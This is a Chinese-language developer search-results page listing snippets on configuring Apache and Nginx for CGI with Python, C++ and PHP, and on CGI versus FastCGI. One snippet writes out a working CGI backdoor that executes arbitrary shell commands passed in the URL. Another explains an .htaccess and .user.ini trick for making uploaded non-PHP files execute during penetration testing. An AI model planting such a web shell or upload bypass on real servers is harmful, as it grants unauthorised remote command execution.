展开

关键词

apache cgi python

修改apache配置文件如下 <Directory "/usr/local/sae/httpd//htdocs/cgi-bin">     AllowOverride None     Options Order allow,deny     Allow from all </Directory>      AddType text/html .htm .html .py      AddHandler cgi-script .cgi .py 编写hello_get.py,放在/usr/local/sae/httpd/htdocs/cgi-bin/目录下,赋予权限chmod a+x hello_get.py 代码: #! /usr/bin/python import cgi import os import time import cStringIO import json form = cgi.FieldStorage

24620

Apache配置实现cgi

装完Apache,需要修改apache的配置文件: nano /etc/httpd/conf/httpd.conf 配置文件中有 ScriptAlias /cgi-bin/ "/var/www/cgi-bin /"这个指令,指示了默认的cgi-bin的路径。 还需要配置 AddHandler cgi-script .cgi .pl 该配置默认被注释掉了,设置了cgi的后缀名 编写一个cgi文件,内容如下: #! 将该文件命名为first.cgi,然后放入/var/www/cgi-bin/目录中。 将first.cgi的权限设置成755 chmod 755 /var/www/cgi-bin/first.cgi 再次运行http://localhost:9000/cgi-bin/first.cgi

13820
  • 广告
    关闭

    腾讯云服务器买赠活动

    腾讯云服务器买赠活动,低至72元1年,买就送,最长续3个月,买2核送4核、买4核送8核

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    apache+cgi+python】c

    apache+cgi+python】cgi接口浅析 虽然现在开发web用的都是一些成熟的框架, 使我们可以不用关心底层的接口逻辑, 但是多了解一些底层的知识对我们也是有帮助的。 虽然在效率上cgi接口远不如其它几个接口, 但是它足够简单, 非常适合新手入门。 本文使用python,curl, 在ubuntu + apache环境下为大家展示cgi接口的基本原理。 首先、配置apache、htaccess 网站根目录为/var/www, 我们放试验脚本的目录为/var/www/python-cgicgi脚本的stdout首先要交给apacheapache会对stdout进行一些处理。 五、日志输出 apache有日志功能,我们的cgi脚本能输出到apache的日志中? 答案是肯定的,方法是stderr。 代码改成: #!

    23910

    Python:CGI本地配置方法 Mac Apache

    CGI本地配置 Mac,记录一下,网上的看了好多,不怎么好理解,通俗易懂的走个流程吧。 Mac环境下 Apache是支持CGI的,本人理解的意思就是说:平时我们打开Python文件,在浏览器上显示的是py文件内容,通过配置,就可以让py文件在Apache上运行,然后我们访问的时候就是程序的反馈信息 开始配置流程: 1.找到要修改的文件(在find中,直接command+shift+G,然后粘贴路径,查找,就找到要修改的文件了) /etc/apache2/httpd.conf 2.修改httpd.conf cgi_module libexec/apache2/mod_cgi.so (2)command+F 搜索AddHandler,然后将这一行,用下面这行替换 AddHandler cgi-script 4.重启Apache sudo /usr/sbin/apachectl restart 5.在下面路径下写一个用来运行的test.py文件 /Library/WebServer/Documents

    62320

    Apache支持Python之CGI编程环境

    ****CGI简介****:CGI程序可以是Python脚本,Perl脚本,Shell脚本,C或者C++程序等 ---- ****环境说明**** 操作系统 :Ubuntu Web服务器:Apache2 开发语言:Python ---- ****Step-One:加载cgi模块**** #默认apache2是没有加载cgi模块的 #在apache2/mods-enabled目录下创建cgi.load软链接 $cd /etc/apache2/mods-enabled && sudo ln -s .. /mods-available/cgi.load cgi.load ---- ****Step-Two:配置虚拟主机以及映射关系信息**** 在/etc/apache2/sites-enabled/新建一个虚拟主机配置文件 }/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> 在/etc/apache2/apache.conf

    77440

    C++ CGI编程(一)Ubuntu Apache环境配置

    首先,修改apache2.conf <Directory "/var/www/cgi-bin"> AllowOverride None Options ExecCGI "> Options All </Directory> 然后修改vim /etc/apache2/mods-enabled/cigd.load 内容为 LoadModule cgid_module /usr/lib/apache2/modules/mod_cgid.so AddHandler cgi-script .cgi .pl .py .sh 此即同时支持py .cgi ScriptAlias /cgi-bin/ /var/www/cgi-bin/ ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> 添加ports.conf内容为Listen 8080 向/var/www/cgi-bin

    75750

    CGI程序

    关于CGI程序的几个疑问。

    6820

    Apache2对CGI的支持配置{C++与python}

    前言: 今晚又折腾一个晚上,想用C++语言开发web服务端,于是就再次配置apache2-cgi环境,万万没想到就是忘了C++需要编译才... 先记录一下配置文件吧~~~ ---- 配置信息(主机映射信息与服务器项目读取路径写在一起了,实质上可以分开的) <VirtualHost *:80> ServerName cgi.alic.com DocumentRoot /home/alic/www/cgi-bin/ <Directory /home/alic/www/cgi-bin> Options +Indexes AllowOverride All Order allow,deny allow from all </Directory> AddHandler cgi-script .py .cgi </VirtualHost> ----

    28540

    CGI后门

    cd /tmp mkdir cgi-bin echo '#!/bin/bash' > . /cgi-bin/backdoor.cgi echo 'echo -e "Content-Type: text/plain\n\n"' >> . /cgi-bin/backdoor.cgi echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi chmod +x . /cgi-bin/backdoor.cgi python -m http.server --cgi wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi

    11340

    python cgi

    cookie操作:限制4kb,300个,每个域名20个 image.png cgi.escape image.png urllib.parse.quote_plus unquote_plus image.png open().read() HTMLParser().unescape() image.png cgi.FieldStorage() xx.keys() image.png

    8230

    CGI & FastCGI

    apache 模块方式   记得曾在xp 配置 apache + php ,会在apache 配置下面一段: LoadModule php5_module C:/php/php5apache2_2.dll   当PHP需要在Apache服务器下运行时,一般来说,它可以模块的形式集成, 此时模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求, 然后将处理后的结果返回给Apache。 如果我们在Apache启动前在其配置文件中配置好了PHP模块, PHP模块通过注册apache2的ap_hook_post_config挂钩,在Apache启动的时候启动此模块以接受PHP文件的请求。 换句话说,模块可以在Apache的任何一个处理阶段中挂接(Hook)上自己的处理函数,从而参与Apache的请求处理过程。 mod_php5.so/ php5apache2.dll就是将所包含的自定义函数,通过Hook机制注入到Apache中,在Apache处理流程的各个阶段负责处理php请 求。

    38730

    cgi、fastcgi、php-cgi、php-fpm剖析

    定义 cgi 通用网关接口,外部程序与web服务器之间的接口标准,是在cgi程序和web服务器之间传递信息的过程 每一次请求都会生成一个cgi进程,cgi程序执行完,进程退出 独立于服务器、独立编程语言 以apache为例,首先要配置好cgi访问目录,访问 http://127.0.0.1/cgi-bin/printenv.pl 。 apache收到用户请求,开始调用cgi接口,处理cgi程序(printenv.pl),处理完了之后返回 cgi程序处理后的结果。 说一下我走过的一个坑,为了验证cgi程序,我特意编译了apache2.4 ,然后配置httpd.conf 但是访问cgi程序还是报错。主要原因就是。cgi文件,没有加上调用哪个程序执行 。 /bin/sh” ,加上之后就可以正常的返回了 fastCgi 本来我想用apache 实现 fastcgi 有两种方式,一种是mod_fcgid 模块(官方模块),还有一种是mod_fastcgi 模块

    7010

    CGI与FastCGI

    apache 模块方式   记得曾在xp 配置 apache + php ,会在apache 配置下面一段: LoadModule php5_module C:/php/php5apache2_2.dll   当PHP需要在Apache服务器下运行时,一般来说,它可以模块的形式集成, 此时模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求, 然后将处理后的结果返回给Apache。 如果我们在Apache启动前在其配置文件中配置好了PHP模块, PHP模块通过注册apache2的ap_hook_post_config挂钩,在Apache启动的时候启动此模块以接受PHP文件的请求。 换句话说,模块可以在Apache的任何一个处理阶段中挂接(Hook)上自己的处理函数,从而参与Apache的请求处理过程。 mod_php5.so/ php5apache2.dll就是将所包含的自定义函数,通过Hook机制注入到Apache中,在Apache处理流程的各个阶段负责处理php请 求。

    9020

    概念了解:CGI,FastCGI,PHP-CGI与PHP-FPM

    众所周知,CGI解 释器的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、 Fail- Over特性等等。 相关模块在Apache, ISS, Lighttpd等流行的服务器上也是可用的。 FastCGI的不依赖于任何Web服务器的内部架构,因此即使服务器技术的变化, FastCGI依然稳定不变。 FastCGI的工作原理 Web Server启动时载入FastCGI进程管理器(IIS ISAPI或Apache Module) FastCGI进程管理器自身初始化,启动多个CGI解释器进程(可见多个 上面的数据摘自Nginx 0.8.x + PHP 5.2.13(FastCGI)搭建胜过Apache十倍的Web服务器(第6版) PHP-CGI PHP-CGI是PHP自带的FastCGI管理器。 PHP-CGI的不足: php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启。 直接杀死php-cgi进程,php就不能运行了。

    98480

    配置Nginx支持CGI

    配置Nginx支持CGI 相信会特意看这篇文章的人对CGI是什么及其作用已经有了足够的了解,所以在这里不再赘述,直接开始配置。 /.*\.cgi$ { root          /work/www/test; fastcgi_index  index.cgi; fastcgi_param  SCRIPT_FILENAME  $ fastcgi_params.default/etc/nginx/nginx_fcgi_params 到这里其实已经完成工作了,但我现在的公司需要在网页上能够显示数学公式,所以,以下两步是添加一个名为mimetex.cgi (可以在网上下载)的文件到/web/www/cgi-bin(如果没有此目录,请手动创建)下,有了这个文件系统才能将用户提交的“文本格式的公式”转换成“真正的公式” mkdir /etc/nginx cd /web/www/cgi-bin/ chmod +x mimetex.cgi

    19810

    Apache CGI模式下修改.htaccess导致服务器500的解决办法

    通过向.htaccess文件添加AddType或AddHandler使非php文件被解析 介绍 除了正常的用途外,在渗透中的Apache环境下,可以用.htaccess来重写Apache配置以绕过上传, 在Apache模块DLL模式下,应该是能成功的。 但是如果你使用的是PHPStudy在windows下面,可能会有复现失败的情况。 这是因为PHPStudy在大部分情况(我遇到的)下,使用的是CGI/FastCGI模式。 解决方法 以后缀名abc为例,路径自行进行替换。 是可以不重启服务器的) AddHandler fcgid-script .abc FcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe 此类文件仅被 CGI/FastCGI SAPI 处理 在目录下创建.user.ini文件。内容如下: auto_prepend_file = 123.gif 123.gif自行替换为需要引入的文件。

    89540

    万法归宗:CGI

    彼时,CGI应运而生。第一个版本的CGI由Perl语言编写的脚本,因此通常称之为“CGI脚本”。直至今日,把CGI一词丢入谷歌的搜索框,搜到的一大把都是Perl相关的内容。 CGI程序既是如此。 CGI程序通常部署到Web服务器(如Apache)上,Web服务器然后调用CGI程序,关于CGI程序到底如何从Web服务器中获得输入,请继续阅读下一节 Interface。 如post请求一个CGI的URL,那么POST的数据,CGI是通过标准输入来获取到的。 而CGI如何构造出数据(比如HTML页面)返回给浏览器呢?其实CGI本身只要向标准输出去写入数据即可。 5、争议 CGI程序有一不大不小的缺陷,缺乏URL路由的功能,基本上一个CGI都是独立提供给外界访问,一个CGI就是独立的可执行程序。因此**不仅CGI的URL比较丑陋,而且容易暴露真实路径**。 CGI一般只做上层目录的路由,而这只能交给Web服务器去配置。比如:app/hello.cgi 的app目录在物理OS的什么位置可通过Apache去配置。

    10110

    Python网页编程(CGI)

    /usr/bin/python # CGI处理模块 from os import environ import cgi, cgitb # 创建 FieldStorage 的实例化 form = cgi.FieldStorage print("Set-Cookie:Path=/perl;\n") print('<html>') print('<head>') print('<title>Hello Word - First CGI This is my first CGI program') print("

    Hello %s %s

    " % (first_name, last_name)) print("User

    36410

    什么是CGI、FastCGI、PHP-CGI、PHP-FPM、Spawn-FCGI?

    众所周知,CGI解释器的 反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail- Over特性等等。 相关模块在Apache, ISS, Lighttpd等流行的服务器上也是可用的。 FastCGI的工作原理 1、Web Server启动时载入FastCGI进程管理器(IIS ISAPI或Apache Module) 2、FastCGI进程管理器自身初始化,启动多个CGI解释器进程 上面的数据摘自Nginx 0.8.x + PHP 5.2.13(FastCGI)搭建胜过Apache十倍的Web服务器(第6版) 什么是PHP-CGI PHP-CGI是PHP自带的FastCGI 管理器 PHP-CGI的不足 1、php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启 2、直接杀死php-cgi进程,php就不能运行了。

    1.1K90

    相关产品

    • 云数据仓库 for Apache Doris

      云数据仓库 for Apache Doris

      云数据仓库Doris(cdwdoris)为您提供基于 MPP(大规模并行处理)架构的云端Doris托管服务,拥有开箱即用,弹性易扩展等特性。云数据仓库 Doris支持标准SQL语言,兼容MySQL协议,支持对PB级的海量数据进行高并发查询,和亚秒级的快速分析,帮助您轻松应对多种ETL数据处理和业务探索场景。

    相关资讯

    热门标签

    活动推荐

    扫码关注腾讯云开发者

    领取腾讯云代金券